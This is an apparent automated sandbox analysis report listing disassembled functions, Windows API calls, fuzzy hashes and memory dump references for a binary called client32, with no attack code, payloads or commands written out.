Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: 3b59623a909b284854b1b3af36d82a4f2bbb95fba0a7c60f0ac8dd87b39ed554
Instruction ID: 0f85fd80076d2b40817f9a73906c67b3183ec9e0361306ecdf77c2e20fb6d995
Opcode Fuzzy Hash: 3b59623a909b284854b1b3af36d82a4f2bbb95fba0a7c60f0ac8dd87b39ed554
Instruction Fuzzy Hash: 9AC092B57022368FE3645F98AC585C6FBE4EB09612351886EE5B6D3704E6F09C408BE2

Function 1105F240 Relevance: 3.2, APIs: 2, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

std::exception::exception.LIBCMT ref: 1105F2E3
__CxxThrowException@8.LIBCMT ref: 1105F2F8

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID:
API String ID: 1338273076-0
Opcode ID: 9a071fc209cda2e2a2ff508c8b9122ae898b960265a67e42ef6659185843565e
Instruction ID: 27c1c6abb081d98236a55b9714def59ee0ae50ea33d11c9255898d7f6f2dc0b9
Opcode Fuzzy Hash: 9a071fc209cda2e2a2ff508c8b9122ae898b960265a67e42ef6659185843565e
Instruction Fuzzy Hash: CD518DB6A00249AFDB50CF58D880E9AF7F9EB88214F04C56EEC599B341D775F901C7A1

Function 11073EE0 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11073F3F
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,0000000B,?), ref: 11073FA9

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: 1de555015f75479fffabe6315b5e279a761057817db2cde32174c8189ffb5fcd
Instruction ID: 362c13a412c0e640e577dbbcd916c07cf33f0139573dcaf60f70c23bb96cce57
Opcode Fuzzy Hash: 1de555015f75479fffabe6315b5e279a761057817db2cde32174c8189ffb5fcd
Instruction Fuzzy Hash: 8421D376E04228A7D710DE98DC45BEFFBBCEB44360F4041AAE9099B100D7359A51CBE1

Function 1105E340 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1105E386
_memmove.LIBCMT ref: 1105E391

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 16bbc3b8a626d0655bbde18434e07e0b0efb0c177530dcb6ca80941cbffc0494
Instruction ID: a0c66a39c0b70d1204c03aacb6c31f63effe2aa25bbbc6b932c0e1366d1e8000
Opcode Fuzzy Hash: 16bbc3b8a626d0655bbde18434e07e0b0efb0c177530dcb6ca80941cbffc0494
Instruction Fuzzy Hash: BFF0C8B9E002626F9741CF2D98448ABFBECDF9B158304C4E6E995CB312D631ED058BE0

Function 110874D0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110874EF
InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,1106FB03,00000000,00000000,1117E56E,000000FF), ref: 11087560

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: 84f1d00e1da4f556c6d29effd6eb789db6954938ff46dd922089048d4a5e5e0e
Instruction ID: efa4b2f5def9497acc6a730926d4f51879cfe16a6345f79810d85772ddd28013
Opcode Fuzzy Hash: 84f1d00e1da4f556c6d29effd6eb789db6954938ff46dd922089048d4a5e5e0e
Instruction Fuzzy Hash: A61157B0901B148FC3A4CF7A89816C7FAE5BB58315F90892E96EEC2200DB716564CF94

Function 111407E0 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11140801
ExtractIconExA.SHELL32(?,00000000,000D036B,000A0249,00000001), ref: 11140838

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: d353acd8377cc5718faa45abf7dc192d23559f5d1da3fbe3a47e20bf1bd0ba33
Instruction ID: 6ec026547e9d858e25107bae19a5eabb6ebc4b509078f5a81af6a55fc443eb8c
Opcode Fuzzy Hash: d353acd8377cc5718faa45abf7dc192d23559f5d1da3fbe3a47e20bf1bd0ba33
Instruction Fuzzy Hash: C5F0247CA4511C9FE748CFE0CC82FBDF769E785708F408269EA12861C4CD7029488780

Function 11160445 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 111659CF: __getptd_noexit.LIBCMT ref: 111659CF

__lock_file.LIBCMT ref: 1116048C

Part of subcall function 11167679: __lock.LIBCMT ref: 1116769E

__fclose_nolock.LIBCMT ref: 11160497

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 2aad6af1853873c0d6f3ae2b438c67c3a00a140ac949046a066bb16936e6fd01
Instruction ID: 3c6ac871110638f17016a6292385eeeb86b4e8c95666fa946b80bcf511f614e0
Opcode Fuzzy Hash: 2aad6af1853873c0d6f3ae2b438c67c3a00a140ac949046a066bb16936e6fd01
Instruction Fuzzy Hash: 88F0B435905B079AD7209F79980079EFBB86F0133CF118A48C474AA0D0DBFEAA21CB56

Function 11141240 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11141160: ExpandEnvironmentStringsA.KERNEL32(7693795C,?,00000104,7693795C), ref: 11141187

Part of subcall function 1116067B: __fsopen.LIBCMT ref: 11160688

GetLastError.KERNEL32(?,00000000,7693795C,00000000), ref: 11141275
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,7693795C,00000000), ref: 11141285

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: 095fbb323597ed630c2ce92ee5dc822cb6d747f27c5a336ad123bdd945b58385
Instruction ID: 103134ba4653f8fc15402f07188d85fc6b934bc741d6c344a8ba55e5f3ec2e88
Opcode Fuzzy Hash: 095fbb323597ed630c2ce92ee5dc822cb6d747f27c5a336ad123bdd945b58385
Instruction Fuzzy Hash: 1A11E5B6A00215ABDB119F94C9C0E6FF378EB45A69F304165ED04D7200E775BD0287A3

Function 110105D0 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010684

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: 8f0d228a3e67031c3c74e055096ec6fe36c0135427f2f7eb65bb086bb99789bd
Instruction ID: 37a4efda2de7bef0abd3e107bc03fb4b477421a9c8ed2a8831dce733ffd1d250
Opcode Fuzzy Hash: 8f0d228a3e67031c3c74e055096ec6fe36c0135427f2f7eb65bb086bb99789bd
Instruction Fuzzy Hash: A5517E74A00245DFDB04CF98C980AADFBF5BF89318F24869DD5599B385C736E902CB90

Function 1113F3A0 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110C55B,76938400,?,?,111414FF,00000000,CSDVersion,00000000,00000000,?), ref: 1113F3C0

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: a232fc1abe2ed2d7d844c38d6296ee0920c29362aec6298465a62cb418f01d82
Instruction ID: 5fbfdb2e62506a22be8d6102f6026bab3dbcb22e3eaadfb442edbe5e81d15758
Opcode Fuzzy Hash: a232fc1abe2ed2d7d844c38d6296ee0920c29362aec6298465a62cb418f01d82
Instruction Fuzzy Hash: C711B4717242475BE7118D14E590AAEFB6AEFC523EF20812AE59647908C2319443C763

Function 110F86A0 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,?), ref: 110F86CD

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 60feac90d17ce4ea0d07673dd70e68ce323b270b37787058afa517d2a174fb0b
Instruction ID: 5d7275223ac790c55298ab4dac0b89e6422b5a9cd2a22daee5b7bffea7f2d82d
Opcode Fuzzy Hash: 60feac90d17ce4ea0d07673dd70e68ce323b270b37787058afa517d2a174fb0b
Instruction Fuzzy Hash: E511AC71E0122D9FDB51CFA8DC917EEB3F8DB49304F0040D9E9099B240EA716E448B91

Function 1116C813 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,11030A6F,00000000,?,111664B4,?,11030A6F,00000000,00000000,00000000,?,11167E47,00000001,00000214,?,1110C53E), ref: 1116C856

Part of subcall function 111659CF: __getptd_noexit.LIBCMT ref: 111659CF

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 64e617296fa02f76875e2267f2f80c296e1da2c101056d497844d3fedd062177
Instruction ID: 00b7d569cdde8c65b18fb77c1b34b3d821c09f66d996ae1b2300b2679a5b44d5
Opcode Fuzzy Hash: 64e617296fa02f76875e2267f2f80c296e1da2c101056d497844d3fedd062177
Instruction Fuzzy Hash: 0101D835B022169BEB258F69CD44B97F75CBB81774F018529E826CA190E7B5D420C740

Function 6C4E7D00 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__vswprintf.LIBCMT ref: 6C4E7D26

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: __vswprintf
String ID:
API String ID: 597827344-0
Opcode ID: 58bcc481f2567652e4cc607b45d24abb82f99daf21096e44619dd3c67cae5a35
Instruction ID: 9668afa379c3269e2d10dec8b673e807e9438395387b66453bb8de7a378f0038
Opcode Fuzzy Hash: 58bcc481f2567652e4cc607b45d24abb82f99daf21096e44619dd3c67cae5a35
Instruction Fuzzy Hash: 45E030B190111CABCB00EF64DD41DEE73BCAF85214F014199EA1957601DB30AE1ACBD5

Function 111639C3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 111639CE

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
